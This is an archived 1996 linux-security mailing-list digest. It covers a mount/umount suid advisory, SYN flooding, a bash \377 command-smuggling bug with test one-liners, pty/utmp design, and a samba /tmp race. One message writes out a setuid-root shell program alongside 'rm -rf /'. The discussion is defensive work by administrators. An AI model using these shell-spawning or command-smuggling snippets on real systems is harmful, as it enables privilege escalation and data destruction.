mount_2.5l-1.deb package was not signed. We were unable to verify the integrity of the message. Slackware There is no official information available about vulnerability of Slackware 3.0 or Slackware 3.1 distributions from distribution maintainer. The testing indicates that both Slackware 3.0 and Slackware 3.1 distributions contains the vulnerable mount and umount programs. Until the official fix-kit for Slackware 3.0 and 3.1 becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Yggdrasil Yggdrasil Computing Inc neither confirmed not denied vulnerability of Plug and Play Fall'95 Linux. The testing indicates that Plug and Play Fall'95 Linux distribution contains the vulnerable mount and umount program. Until the official fix-kit for Yggdrasil Plug and Play Linux becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Other Linux Distributions It is believed at this moment that all Linux distributions using util-linux version 2.5 or prior to that contain the vulnerable mount and umount programs. Administrators of systems based on distributions not listed in this LSF Update or distributions that do not have fix-kits available at the moment are urged to contact their support centers requesting the fix-kits to be made available to them. In order to prevent the vulnerability from being exploited in the mean time, it is recommended that the suid bit is removed from mount and umount programs using command chmod u-s /bin/mount /bin/umount Until the official fix-kits are available for those systems, it is advised that system administrators obtain the source code of fixed mount program used in Debian/GNU Linux 1.1, compile it and replace the vulnerable binaries. The URLs for the source code of the Debian/GNU Linux 1.1 package which fixes the security problem of mount utility can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/source/base/mount_2.5l-1.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz Warning: We did not receive MD5 hash of the mount_2.5l-1.tar.gz file. CREDITS This LSF Update is based on the information originally posted to linux-alert. The information on the fix-kit for Red Hat commercial Linux was provided by Elliot Lee ([email protected]) or Red Hat Software Inc,; for the Caldera Network Desktop by Ron Holt of Caldera Inc.; for Debian/GNU Linux 1.1 by Guy Maor ([email protected]) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMiNugoxFUz2t8+6VAQFyMgP+O6rJMZ8FHM2dyS+SY5D92837zjAwgMDk lNRaxrntFx/sZmyTpejERB1pu/uTRR+O2TJrB5s7mteLbB7wuuJNa38R4GuEBAOy 8dQ/pl+2vNQmqK7iwtMDGBNRda027tvBWO9vjxzqCKwHEiDSFQJ4hkM03oAwhmYi z1pegn80gsE= =zMIM -----END PGP SIGNATURE----- linux-security/linux-security.960901100664 1767 1767 22344 6212264226 16652 0ustar majdommajdomFrom [email protected] Sun Sep 1 06:41:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA05333; Sun, 1 Sep 1996 06:41:45 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] SYN flooding (was inetd and To: [email protected] (Rob Hagopian) Date: Sat, 31 Aug 1996 17:33:09 +0100 (BST) Cc: [email protected] In-Reply-To: from "Rob Hagopian" at Aug 30, 96 07:52:32 am Content-Type: text Sender: [email protected] Precedence: list > What about simply dropping the oldest SYN connections after the port(s) > have been flooded, always leaving a connection available? A connection that we have seen a SYN and replied SYN|ACK takes 2 minutes to kill otherwise we could be tricked into starting a tcp foodfight with a random victim.. Alan From [email protected] Sun Sep 1 06:41:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA05349; Sun, 1 Sep 1996 06:41:57 -0400 Date: Sun, 1 Sep 1996 01:47:21 +0300 (GMT+0300) From: Arik Baratz Reply-To: Arik Baratz <[email protected]> To: Zoltan Hidvegi cc: Net-Thing Security , [email protected] Subject: Re: [linux-security] Suid Programs / Help Wanted In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I think the discussion is rather invalid, because instead of SUIDing a shell, the hacker can, after examining your scripts, do something like: cat > hmm.c main() { setuid(0); setgid(0); system("/bin/sh"); } [he presses ctrl-d now] cc -o hmm hmm.c [now he runs the exploit script on hmm instead of a copy of /bin/sh] ./hmm rm -rf / This can bypass any checking you might put in your startup scripts. My point is this: SUID shells are _NOT_ the problem. an SUID file manager will cause as much problems. Cure the problem, not the symptoms. --------------------------------------------- ....- --.. ----. -.. --. . Arik Baratz, Regularus Studentus, iNTP, 4Z9DGE --------------------------------------------------------------------------- http://ccarik.technion.ac.il/~arikb finger [email protected] for PGP key. From [email protected] Sun Sep 1 06:42:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA05362; Sun, 1 Sep 1996 06:42:15 -0400 From: [email protected] Message-ID: <[email protected]> Subject: Re: [linux-security] SYN flooding (was inetd and To: [email protected] (Rob Hagopian) Date: Fri, 30 Aug 1996 17:48:23 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Rob Hagopian" at Aug 30, 96 07:52:32 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Rob Hagopian's thoughts were: | What about simply dropping the oldest SYN connections after the port(s) | have been flooded, always leaving a connection available? The oldest SYN connection request may in fact be legitmate. | This won't help too much in a continuous flood mode as any legit | connections might be wiped out along with the dummy SYN packets, but this | could be aleivated somewhat with larger buffers... A larger backlog queue is not the answer. The amount of memory each pending connection request requires is much greater when compared to the complexity of simply sending 10,20 or 50 more spoofed SYNs to flood the port. | Also, when this threshold is reached, it would be a good time to | start alerting the sysadmin. Of course. | Thus, a proactive solution is acheived, while a permenant solution | can be investigated. Also, I don't believe that this would require too much | effort on the part of the kernel to track (as opposed to tracking the IP Simple mods. | addr of SYN packets, which would fail anyways under a random SYN flood | attack). Any SYN flood *attack* will have the source IP address spoofed. -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist From [email protected] Sun Sep 1 06:42:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA05375; Sun, 1 Sep 1996 06:42:29 -0400 Path: fludd.myrus!news From: [email protected] (Zygo Blaxell) To: [email protected] Subject: Re: Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) Date: 31 Aug 1996 15:18:14 -0400 Organization: Smoke & Myrus Design, Inc. Lines: 110 Message-ID: <[email protected]> References: <[email protected]> NNTP-Posting-Host: fludd.myrus Sender: [email protected] Precedence: list In article , Mark Whitis wrote: >Here is the beginings of a catalog of common environment variables >and a little about their potential exploitability. I started >with a printenv on an almost strait out of the box RedHat 3.0.3 >system and added a few from memory. >HISTSIZE - Don't know. Really large values or negative or zero > values might conceivably do domething strange to child > processes invoked by a setuid program If the user is given a privileged interactive shell by the setuid program, you don't need to worry about someone exploiting this environment variable. Hmmm...maybe non-interactive shells might examine this variable, though, if only to convert it to a numeric value. >HISTFILESIZE - Don't know. Really large values or negative or zero > values might conceivably do domething strange to child > processes invoked by a setuid program Ditto. >MAIL=/var/spool/mail/whitis There was no description in your list, but it falls into the same category as HOME, USER, LOGNAME, HOSTNAME, etc. >HOME - Any setuid program that needs this info had better > get it from someplace trustworthy and be very careful > what it uses it for in the first place. HOME points > to files created by an untrusted user. And directories controlled by an untrusted user. All the usual /tmp vulnerabilities apply. Indeed, the same vulnerabilities apply for *any* filename supplied by the user. >SHLVL=1 - Unknown. It's used for subshells to identify that they're subshells. Some shells let you put this into the prompt string, e.g.: bash$ bash bash[1]$ bash bash[2]$ exit bash[1]$ kill -9 $$ Killed bash$ It's probably the same category as HISTSIZE. >TZ - Affects time formatting functions. Potential for > several types of attacks: > - Forging time (i.e. you can cause a transaction > to appear to have occurred at a different time) > - Buffer overrun attacks in any programs which > print time. > - punctuation based attacks It's also used as the name of a time zone description file under /usr/lib/zoneinfo: $ cp /usr/lib/zoneinfo/Europe/London . $ set -x; date; TZ=GMT date; TZ=US/Central date; TZ=`pwd`/London date + date Sat Aug 31 15:00:01 EDT 1996 # Current time zone + TZ=GMT + date Sat Aug 31 19:00:01 GMT 1996 # GMT + TZ=US/Central + date Sat Aug 31 14:00:01 CDT 1996 # Some other time zone ++ pwd + TZ=/md0/tmp/mail-960831/London + date Sat Aug 31 20:00:01 BST 1996 # Time zone described in my file >I have not even touched on some others: [ zb: I have rearranged the list ] >PRINTER >LPDEST >EDITOR >VISUAL >EXINIT >LESSCHARSET All very useful user-level environment variables for configuring unprivileged programs or privileged programs that have documented uses for the variables (e.g. lpr and 'PRINTER'). >WINDOWID The ID of the current Xterm window. >NLSPATH Part of the same libraries that handle LC_*, isn't it? >[REW: In short, LOTS of environment variables are potentially >expoloitable. Only known "safe" variables should be passed (by >e.g. telnetd, or a setuid-wrapper). (I never knew about >RESOLV_HOST_CONF before it came up here.) And even "safe" variables >should be paranoidly checked against odd characters etc.] I think that's worth repeating. Someone needs to tell it to people who *don't* read lists like this one. -- Zygo Blaxell. Unix/soft/hardware guru, was for U of Waterloo CS Club, now for (name withheld by request). 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Admin Linux/TCP/IP for food, clothing, anime. Pager: 1 (613) 760 8572. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong linux-security/linux-security.960902100664 1767 1767 10675 6212505013 16647 0ustar majdommajdomFrom [email protected] Mon Sep 2 03:16:56 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA09307; Mon, 2 Sep 1996 03:16:56 -0400 Message-Id: Date: Sun, 1 Sep 96 16:55 BST From: Ian Jackson To: [email protected] Subject: Re: [linux-security] chroot (1) security hole Newsgroups: chiark.mail.linux-security In-Reply-To: References: Sender: [email protected] Precedence: list ... > [REW: Yes. The problem lies in the fact that the current working > directory isn't changed by the chroot system call. Could someone > check the chroot program's sources and report wether it does a > chdir ("/"); after the chroot system call. It doesn't (on my system, anyway). I think this is a good thing. It means I can test a chroot environment and still have access (via my current directory) to the full system. Ian. From [email protected] Mon Sep 2 03:17:14 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA09320; Mon, 2 Sep 1996 03:17:14 -0400 To: [email protected] Date: 1 Sep 1996 14:27:34 GMT From: [email protected] (Richard Huveneers) Message-ID: <[email protected]> Organization: Private site ** OS: Linux ** NTS: INN 1.4 unoff2, Taylor UUCP 1.05 References: <[email protected]>%L/%N. Reply-To: [email protected] Subject: Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx Sender: [email protected] Precedence: list In article <[email protected]>, [email protected] (Christopher Blizzard) writes: >You can write a small wrapper in front of it. As the userid "lynx"'s >shell you run a program that resets all of the environmental variables >that would normally be passed by the telnet daemon. Here is some source >as an example. > >#include > >int main() { > > char * args[] = {"lynx", "-anonymous", NULL}; > char * environargs[] = {"TERM=vt100"}; You'd better add a NULL pointer in this array too... > execve ("/usr/bin/lynx", (void *)args, (void *)environargs); > return(0); >} Regards, Richard. From [email protected] Mon Sep 2 03:17:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id DAA09333; Mon, 2 Sep 1996 03:17:30 -0400 Message-Id: Date: Sun, 1 Sep 96 16:54 BST From: Ian Jackson To: [email protected] Subject: [linux-security] pty's and utmp - a disaster perpetrated long ago Newsgroups: chiark.mail.linux-security In-Reply-To: References: <[email protected]> Sender: [email protected] Precedence: list Rob Hagopian writes ("Re: [linux-security] vulnerability in splitvt"): ... > I have changed our splitvt to a simple non-suid executable. This provides > almost no change in features as far as I can tell. The manual doesn't say > much about why it needs to be suid root, except for the following: > [ stuff about utmp ] In the current world, any program which allocates and uses pty's needs to be setuid root. If it isn't then any other user on the system can interfere with the pty, because the permissions on it can't be fixed. In practice some such programs are setuid-root and some aren't. We need (a) a clear idea of how we want utmp to work and (b) a setuid root helper program which manipulates utmp and allocates and deallocates pty's, and a library to call it easily. When we have this then xterm, splitvt, screen, script, ytalk, &c &c will no longer have to be setuid root or insecure. (b) is fairly easy given (a) - you just have to think a bit about the API and then implement the wrapper and the library to call it. (a) is hard. It involves going through every current utmp-using program and seeing what it does, so that you can figure out a design for utmp-like functionality which interworks as well as possible with the current scheme while not having the bugs, race conditions, failures to clean up, security holes, &c &c &c. Ian. linux-security/linux-security.960903100664 1767 1767 20462 6213007307 16647 0ustar majdommajdomFrom [email protected] Tue Sep 3 06:54:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA15813; Tue, 3 Sep 1996 06:54:18 -0400 From: Miquel van Smoorenburg Message-Id: <[email protected]> Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago To: [email protected] (Ian Jackson) Date: Mon, 2 Sep 1996 23:33:35 +0200 (MET DST) Cc: [email protected] In-Reply-To: from "Ian Jackson" at Sep 1, 96 04:54:00 pm X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list You (Ian Jackson) wrote: > We need > (a) a clear idea of how we want utmp to work > and > (b) a setuid root helper program which manipulates utmp and allocates > and deallocates pty's, and a library to call it easily. > > When we have this then xterm, splitvt, screen, script, ytalk, &c &c > will no longer have to be setuid root or insecure. > > (b) is fairly easy given (a) - you just have to think a bit about the > API and then implement the wrapper and the library to call it. You would need a special library call that calls a setuid helper program to allocate a pty, that gets chowned to the user. Or even better, the kernel could be fixed so that when you open the master side of a pty the slave gets chown()ed to the euid of the process opening it. In fact I think that would be very elegant, and I don't think it will break existing programs. > (a) is hard. It involves going through every current utmp-using > program and seeing what it does, so that you can figure out a design > for utmp-like functionality which interworks as well as possible with > the current scheme while not having the bugs, race conditions, > failures to clean up, security holes, &c &c &c. >From the Solaris manpage for pututline(): When called by a non-root user, pututline() invokes a setuid() root program to verify and write the entry, since /etc/utmp is normally writable only by root. In this event, the ut_name field must correspond to the actual user name asso- ciated with the process; the ut_type field must be either USER_PROCESS or DEAD_PROCESS; and the ut_line field must be a device special file and be writable by the user. I think that would do nicely.. Mike. -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data) From [email protected] Tue Sep 3 06:55:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA15830; Tue, 3 Sep 1996 06:55:23 -0400 Date: Mon, 2 Sep 1996 18:38:19 -0400 (EDT) From: Speed Racer To: [email protected] cc: [email protected] Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 27 Aug 1996 [email protected] wrote: > | explain why a randomly chosen source IP is a bad idea, which was what I > | was trying to clarify. > > Because you have NO way of verifying if a host is unreachable or > not when you pick an IP address out of thin air. Just like when > generate a large odd number. You cannot guarantee it's prime without > testing it for primality... Big deal. I can write a program to send out over 100 packets a second with totally random addresses, and odds are many of them will not be reachable. The point is that my program to do it randomly and hope for the best will still lock up a port just as fast as if you hand-pick unreachable addressess, and I don't have to do anything but start my program and walk away. > | Sure you have. If they use that same IP over and over again, you can > | spot a potential SYN flood from that particular host and refuse to accept > | any more SYN's from that host. Contrary to what you may think, this can > | be done in user space with an ipfwadm-like tool; we just need the hooks > | in the kernel to allow policies to be changed on the fly. > > This is why you will see many SYN floods with different source > addresses in each wave of packets, or even better, in each > packet. And a great way to get different addresses in each packet? Generate them randomly! You can drop the unreachable connects pretty fast by seeing (at least) if they can be reversed in the DNS and dropping those which can't be. Yes, there are plenty of IP's which won't reverse. But since we're in the middle of a SYN flood, we don't really care too much about them. We only want to allow those hosts we KNOW are good during the flood, and when it's over we can once again allow them all. [REW: A reverse map will take up to several minutes. Most notably if the hosts together with their DNS servers are unreachable. Moreover you can cause a packet explosion: you get the target to send more packets than you need to trigger that behaviour.] It's not a perfect solution, but it is better than nothing and will work until something better (e.g., IPv6 or routers which look for this kind of thing) comes along. shag Judd Bourgeois [email protected] Finger for PGP public key There's a lost man with a bitter soul For only a moment did life make him whole And while he was, he thought he was invincible... Matthew Sweet, "Smog Moon" From [email protected] Tue Sep 3 06:56:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA15848; Tue, 3 Sep 1996 06:56:06 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] bash security hole To: [email protected] Date: Mon, 2 Sep 1996 09:41:04 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list R. DuFresne wrote: > > On Sat, 31 Aug 1996, Rogier Wolff wrote: > > > R. DuFresne wrote: > > > > > > On Sat, 31 Aug 1996, Rogier Wolff wrote: > > > > > > > "R. DuFresne" wrote: > > > > > > > > > > > > Just to clarify this, the way I found that I _was_ vulnerable, > > > > > > was with this. NB copy the quoting exactly: > > > > > > > > > > > > bash -c "`/bin/echo 'ls -al\377who'`" > > > > > > > > > > > > However, note that the bit after the \377 is run the _next_ > > > > > > time you run the command, so you need to run it _twice_. > > > > > > Hopefully this will help people who incorrectly believe > > > > > > they are not vulnerable. > > > > > > > > > > As Jonathon and ZOLTAN have pointed out, a double run of the > > > > > command line, fully quoted, proves the bug... > > > > > > > > That's odd. Mine does it first time around. The fixed version > > > > passes the 0xff to ls, which complains..... > > > > > > Someone posted to bugtrack that if you add the zero <0> > > > to the \377 so that it becomes \0377 it's interpreted right off.... > > > > > > > I just used my xterm's cut-and-paste to take the above commandline > > and paste it into an xterm...... > > > > I then did cursor-up and added ".old" to "bash". The first complained > > "ls: unknown option y" and the second gave me ls and who output. > > > > Seems to be really odd, different quoting produces different results on > various systems. And those that are supposed to have fixed the 'bug' > still fail with: > > bash -c "$(echo -e echo\\377who)" > > Some require a double play of the comamnd, some a single entry... I run the "fixed" bash. I am still vulnerable. At first I thought Ron must have made an error in patching his bash, but now it seems it is more complicated than that oneline fix. The vulnerability test with the backquotes shows I wouldn't be vulnerable, but still...... Maybe bash should be compiled with "chars are unsigned by default"? Would that break anything? (I'm not volunteering my system to try that.... :-) Roger. linux-security/linux-security.960904100664 1767 1767 5043 6213257546 16642 0ustar majdommajdomFrom [email protected] Wed Sep 4 01:57:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA21662; Wed, 4 Sep 1996 01:57:24 -0400 Date: Tue, 3 Sep 1996 10:57:17 +0100 (BST) From: Jason Haar Reply-To: Jason Haar To: [email protected] Subject: [linux-security] Is there a final word on the current RESOLV_HOST_CONF hole? Message-ID: X-Fax: +44 1865 785100 X-Phone: +44 1865 785051 Organization: OiT MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Says it all really. I've been waiting for a real patch to libc that fixes this - but none are yet forthcoming. Is anything known to be in the pipeline, or should I just recompile libc to stop writing the offending lines? Cheers, +++++++++++++++++++++++++++++++++++++++++++++++ Jason Haar, Unix/Internet Manager OiT, Oxford. Phone: +44 1865 785051 From [email protected] Wed Sep 4 06:52:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA23193; Wed, 4 Sep 1996 06:52:21 -0400 Date: Wed, 4 Sep 1996 11:38:21 -0600 (MDT) From: Peiter Z Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] SecurID White Paper Sender: [email protected] Precedence: list SecurID Vulnerabilities White-Paper Due to increased recent interest that has been witnessed on the net about the SecurID token cards and potential vulnerabilities with their use, we offer a white paper on some of the vulnerabilities that we believe have been witnessed and/or speculated upon. This paper is being put forth into the public domain by Secure Networks Incorporated and is available at the following URL : ftp://ftp.secnet.com/pub/papers/securid.ps Topics dealt with in the paper include: . Race attacks based upon fixed length responses (still valid even with the current patch) . Denial of Service attacks based upon server patches . Server - Slave separation and replay attacks . Vulnerabilities in the communications with the ACE Server . A quick analysis of the communications with the ACE Server . Problems with out-of-band authentication We hope this paper provides insight, enlightenment, and is helpful to the security community in general. thanks and enjoy, Secure Networks Inc. linux-security/linux-security.960906100664 1767 1767 7064 6213736573 16653 0ustar majdommajdomFrom [email protected] Fri Sep 6 01:58:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA31160; Fri, 6 Sep 1996 01:58:18 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago To: [email protected] (Miquel van Smoorenburg) Date: Wed, 4 Sep 1996 13:35:33 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Miquel van Smoorenburg" at Sep 2, 96 11:33:35 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > You (Ian Jackson) wrote: > > We need > > (a) a clear idea of how we want utmp to work > > and > > (b) a setuid root helper program which manipulates utmp and allocates > > and deallocates pty's, and a library to call it easily. A daemon is probably a better bet than a setuid root subprogram. Of course, communicating reliably with an arbitrary daemon is a trifle difficult. I've done the survey of utmp-using programs. They mostly do one of the following things: - update an entry - report all entries or all entries belonging to a particular user - locate a user's least idle entry for messaging purposes An interface that permits these things easily would be nice. Nicer still would be to fix those tty-writing programs so they don't assume the tty is the place to write; for instance, a utmp entry for an X display should point messages to a named pipe or something. Also, the utmp file as it presently exists should be abolished. > You would need a special library call that calls a setuid helper > program to allocate a pty, that gets chowned to the user. Or even > better, the kernel could be fixed so that when you open the master > side of a pty the slave gets chown()ed to the euid of the process > opening it. In fact I think that would be very elegant, and I don't > think it will break existing programs. probably ruid, not euid -- existing setuid root tty management programs would break. Other than that, yeah, except that I don't think you can automatically do it since the kernel doesn't know where to find the inode for the tty end of the device. What I've been thinking about is an ioctl on the pty end that takes a file descriptor opened on the tty end as an argument and does the necessary processing (chown, chmod 600, revoke). So you'd do something like while (1) { char *x = mumble_get_next_pty_name(); if (!x) break; p = open(x, O_RDWR); if (p<0) continue; x[5] = 't'; t = open(x, O_RDWR); if (t<0) { close(p); continue; } if (ioctl(p, TIOCCHOWN, &t)<0) continue; } close(p); t = open(x, O_RDWR); if (t<0) continue; return t; } return -1; Note the reopening of the tty end - I suspect the ioctl should close the descriptor passed to it, since it will be easier to implement the revoke() part that way. The other thing is, I don't think it's safe to trust the controlling tty of a process to belong to that process's owning uid. If somebody leaves a tty world-accessible for some reason, it's very easy to make that tty your controlling tty. If you can steal utmp entries (or worse, get the tty chowned) you can make a good deal of trouble. -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 linux-security/linux-security.960908100664 1767 1767 1663 6214640264 16644 0ustar majdommajdomFrom [email protected] Sun Sep 8 17:54:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA09232; Sun, 8 Sep 1996 17:54:58 -0400 From: [email protected] (Andrew Morgan) Message-Id: <[email protected]> Subject: [linux-security] GSSAPI for Linux To: [email protected] Date: Sat, 7 Sep 1996 08:35:34 -0700 (PDT) X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: [email protected] Precedence: list Hi, I am involved in the Linux-PAM project (official distribution site: http://www.power.net/morgan/Linux-PAM ), and in the progress of development, "GSSAPI" has come up a number of times ( GSSAPI = General Security Service Application Program Interface [rfc1508, rfc1509] ). Does anyone know if there is a Linux (or simply Free) implementation of GSSAPI in progress/available? Best wishes Andrew linux-security/linux-security.960909100664 1767 1767 14732 6215130430 16654 0ustar majdommajdomFrom [email protected] Mon Sep 9 15:57:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id PAA15131; Mon, 9 Sep 1996 15:57:54 -0400 Date: Mon, 9 Sep 1996 15:56:31 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] Admin note. X-Spook: Delta Force PGP DIA X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Two notes: I'm now back from my 2+ weeks in New Mexico, and am working through a massive backlog of security list traffic and subscription changes/requests, as well as general e-mail and other work. Please be patient with your requests--I'm getting to them! (I first have to sort out what Rogier has already taken care of, which is proving to be time-consuming as well; I was effectively "cut off" from my normal e-mail for the duration of my trip to New Mexico.) Also, thanks to a friendly visit by Hurricane Fran, power was out here at NRAO for awhile. After power was restored, our systems and network were down for an additional day+ as we coaxed things back to life. Things on that front appear to have returned to normal (whatever that may be), so the lists and list archives should once again be fully on-line. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMjR2TnoDqzGe1QXFAQH4ewP/Y03siu68dIkkMPCRnmvsb69a/1nuVrzM ABUUFl+mAPN+SwOTFrScdkyJvNCakeDmDMzVCHwjHC48vN0PZFW9WZ/themPt+fm +TKyKqLjTevtyjQOkFWSxwklf3umt4bVjYYgoxtDgNhSEY6qKWwtNdz3oKaFPufT IAghDTqahSc= =40V2 -----END PGP SIGNATURE----- From [email protected] Mon Sep 9 20:06:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id UAA18378; Mon, 9 Sep 1996 20:06:47 -0400 Path: fludd.myrus!news From: [email protected] (Zygo Blaxell) To: [email protected] Subject: [linux-security] samba 1.9.16p2-2 (RedHat): Damn /tmp security holes again... Date: 9 Sep 1996 19:49:20 -0400 Organization: Smoke & Myrus Design, Inc. Lines: 85 Message-ID: <[email protected]> NNTP-Posting-Host: fludd.myrus Sender: [email protected] Precedence: list While I was RTFM(smb.conf) just now: > lpq cache time (G) > This controls how long lpq info will be cached for to pre- > vent the lpq command being called too often. A separate > cache is kept for each variation of the lpq command used > by the system, so if you use different lpq commands for > different users then they won't share cache information. > >smb.conf smb.conf 24 > >SMB.CONF(5) SMB.CONF(5) > > The cache files are stored in /tmp/lpq.xxxx where xxxx is > a hash of the lpq command in use. Doh! "Don't worry," I said to myself. "They implemented this correctly. There should be no symlink-based race conditions. Better check anyway..." >From source/util.c, where this file gets opened: >/******************************************************************* >lock a file - returning a open file descriptor or -1 on failure >The timeout is in seconds. 0 means no timeout >********************************************************************/ >int file_lock(char *name,int timeout) >{ > int fd = open(name,O_RDWR|O_CREAT,0666); [ Rest of function deleted...without O_EXCL, it's already too late ] >} Doh! Oh well, there goes my coffee break for the afternoon. Is there a good document that explains how to use O_EXCL and/or mkstemp() out there somewhere? If not, it's about time I write one. To make matters worse, this is one of the few paths that is hard-coded into smbd. No getenv(TMPDIR), no configuration option...just 'sprintf(outfile,"/tmp/lpq.%08x",str_checksum(syscmd));'. Also, disabling lpq caching doesn't disable creation of this file; it deletes the cache file after writing it. Defining the lpq command to be null will fix the security problem, but disables all access to the printer queue in the process. Fixing this bug will involve rewriting source/printing.c:get_printqueue(), as that function depends on first collecting lpq output in a file then reading that file back into memory. I have not checked for the presence of other bugs of this type. They may exist. Possible alternative solutions follow. I like #1, because it's the easiest to implement and verify. 1. Parameterize that path, e.g. 'lpqcachedir = /var/lib/samba/lpq-cache' in smb.conf, document it, and disable the lpq cache (including any file creation) unless a path is given. Problem: 'lpqcachedir = /tmp' makes the bug come back; also, it is necessary to clean the lpq cache separately. 2. Create the cache files securely (with O_EXCL), and use them only if they are mode 666 and have exactly one link; otherwise, ignore them. Only read the cache files if the filename is not a symlink, and the link count of the open file descriptor is 1, and the device and inode numbers of the open file descriptor are equal to the values returned from lstat on the filename. Problem: this permits denial of service. 3. Guarantee that an unprivileged user is creating this file. Problem: this isn't really a solution, and denial-of-service is still possible: if /tmp/lpq.xxxxxxxx is linked to /dev/zero, the smbd process will consume infinite memory while reading the file back. In addition, the following would be nice to have to close out any further attacks: Rewrite get_printqueue() to not require a temporary file. Since the output of lpq is stored in memory anyway, this can't be too hard. If (and only if) the cache file can be created and used securely as in #2, the results could be cached by one large fwrite() from memory. -- Zygo Blaxell. Unix/soft/hardware guru, was for U of Waterloo CS Club, now for (name withheld by request). 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Admin Linux/TCP/IP for food, clothing, anime. Pager: 1 (613) 760 8572. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong linux-security/linux-security.960910100664 1767 1767 7654 6215324560 16642 0ustar majdommajdomFrom [email protected] Tue Sep 10 13:35:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id NAA23133; Tue, 10 Sep 1996 13:35:46 -0400 From: Jared Mauch Message-Id: <[email protected]> Subject: Re: [linux-security] GSSAPI for Linux To: [email protected] (Andrew Morgan) Date: Mon, 9 Sep 1996 03:58:35 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from Andrew Morgan at "Sep 7, 96 08:35:34 am" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list [REW: About GSSAPI:] Yes. I use it on all my systems. It comes with kerberos5. You can get that from ftp://athena-dist.mit.edu/pub/ATHENA/kerberos And when you folks try to build it and it doesn't work for you, check all your headder files.. ;-) It built for me 